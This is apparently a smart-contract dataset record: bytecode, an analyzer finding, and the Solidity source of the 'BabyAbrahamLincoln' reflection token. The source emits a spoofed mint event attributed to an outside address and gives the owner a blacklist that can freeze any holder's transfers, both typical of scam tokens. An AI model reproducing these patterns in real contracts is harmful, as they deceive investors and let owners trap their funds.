6101000a031916815260200191505b509250505060405180910390f35b34801561038c57600080fd5b50610395610964565b604051808215151515815260200191505060405180910390f35b3480156103bb57600080fd5b506103fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610977565b604051808215151515815260200191505060405180910390f35b34801561042057600080fd5b50610455600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c08565b6040518082815260200191505060405180910390f35b34801561047757600080fd5b50610480610c51565b005b34801561048e57600080fd5b50610497610d12565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104e557600080fd5b506104ee610d38565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052e578082015181840152602081019050610513565b50505050905090810190601f16801561055b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057557600080fd5b506105b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd6565b604051808215151515815260200191505060405180910390f35b3480156105da57600080fd5b50610619600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e06565b604051808215151515815260200191505060405180910390f35b34801561063f57600080fd5b50610694600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611002565b6040518082815260200191505060405180910390f35b3480156106b657600080fd5b506106eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611089565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107835780601f1061075857610100808354040283529160200191610783565b820191906000526020600020905b81548152906001019060200180831161076657829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156107a957600080fd5b6107b383836111e1565b905092915050565b60085481565b6000600360149054906101000a900460ff161515156107df57600080fd5b6107ea8484846112d3565b90509392505050565b600560009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561086257600080fd5b600360149054906101000a900460ff16151561087d57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095c5780601f106109315761010080835404028352916020019161095c565b820191906000526020600020905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b600360149054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a88576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1c565b610a9b838261169290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cad57600080fd5b600360149054906101000a900460ff16151515610cc957600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dce5780601f10610da357610100808354040283529160200191610dce565b820191906000526020600020905b815481529060010190602001808311610db157829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610df457600080fd5b610dfe83836116ab565b905092915050565b6000610e9782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561112157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561131057600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561135e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113e957600080fd5b61143b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114d082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115a282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008282111515156116a057fe5b818303905092915050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156116ea57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561173857600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905061180d83600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a283600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a380600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156119d557fe5b600191505092915050565b600081830190508281101515156119f357fe5b809050929150505600a165627a7a723058205c0d3ae90abf2439a15748460e85f727daa0dfef78a44e149a06fa78ca81593a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 6,574 |
0xef0bf1f86112ae9c90cbf67b8276b0499fef0134
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyAbrahamLincoln is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Baby Abraham Lincoln | t.me/BabyALincoln";
string private constant _symbol = "BabyALincoln";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "1");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 8;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ec3565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129e6565b610441565b6040516101789190612ea8565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613065565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612997565b610470565b6040516101e09190612ea8565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612909565b610549565b005b34801561021e57600080fd5b50610227610639565b60405161023491906130da565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a63565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612909565b610766565b6040516102b19190613065565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612dda565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612ec3565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129e6565b610970565b60405161035b9190612ea8565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a22565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ab5565b6110b5565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061295b565b6111ff565b6040516104189190613065565b60405180910390f35b60606040518060600160405280602881526020016137c660289139905090565b600061045561044e611286565b848461128e565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611459565b61053e84610489611286565b6105398560405180606001604052806028815260200161379e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611286565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c189092919063ffffffff16565b61128e565b600190509392505050565b610551611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612fa5565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612fa5565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611286565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c7c565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d77565b9050919050565b6107bf611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612fa5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f42616279414c696e636f6c6e0000000000000000000000000000000000000000815250905090565b600061098461097d611286565b8484611459565b6001905092915050565b610996611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612fa5565b60405180910390fd5b60005b8151811015610ada576001600a6000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad29061337b565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611286565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611de5565b50565b610b60611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612fa5565b60405180910390fd5b600f60149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490613005565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b9190612932565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190612932565b6040518363ffffffff1660e01b8152600401610e02929190612df5565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e549190612932565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612e47565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c9190612ade565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105f929190612e1e565b602060405180830381600087803b15801561107957600080fd5b505af115801561108d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b19190612a8c565b5050565b6110bd611286565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114190612fa5565b60405180910390fd5b6000811161118d576040517f08c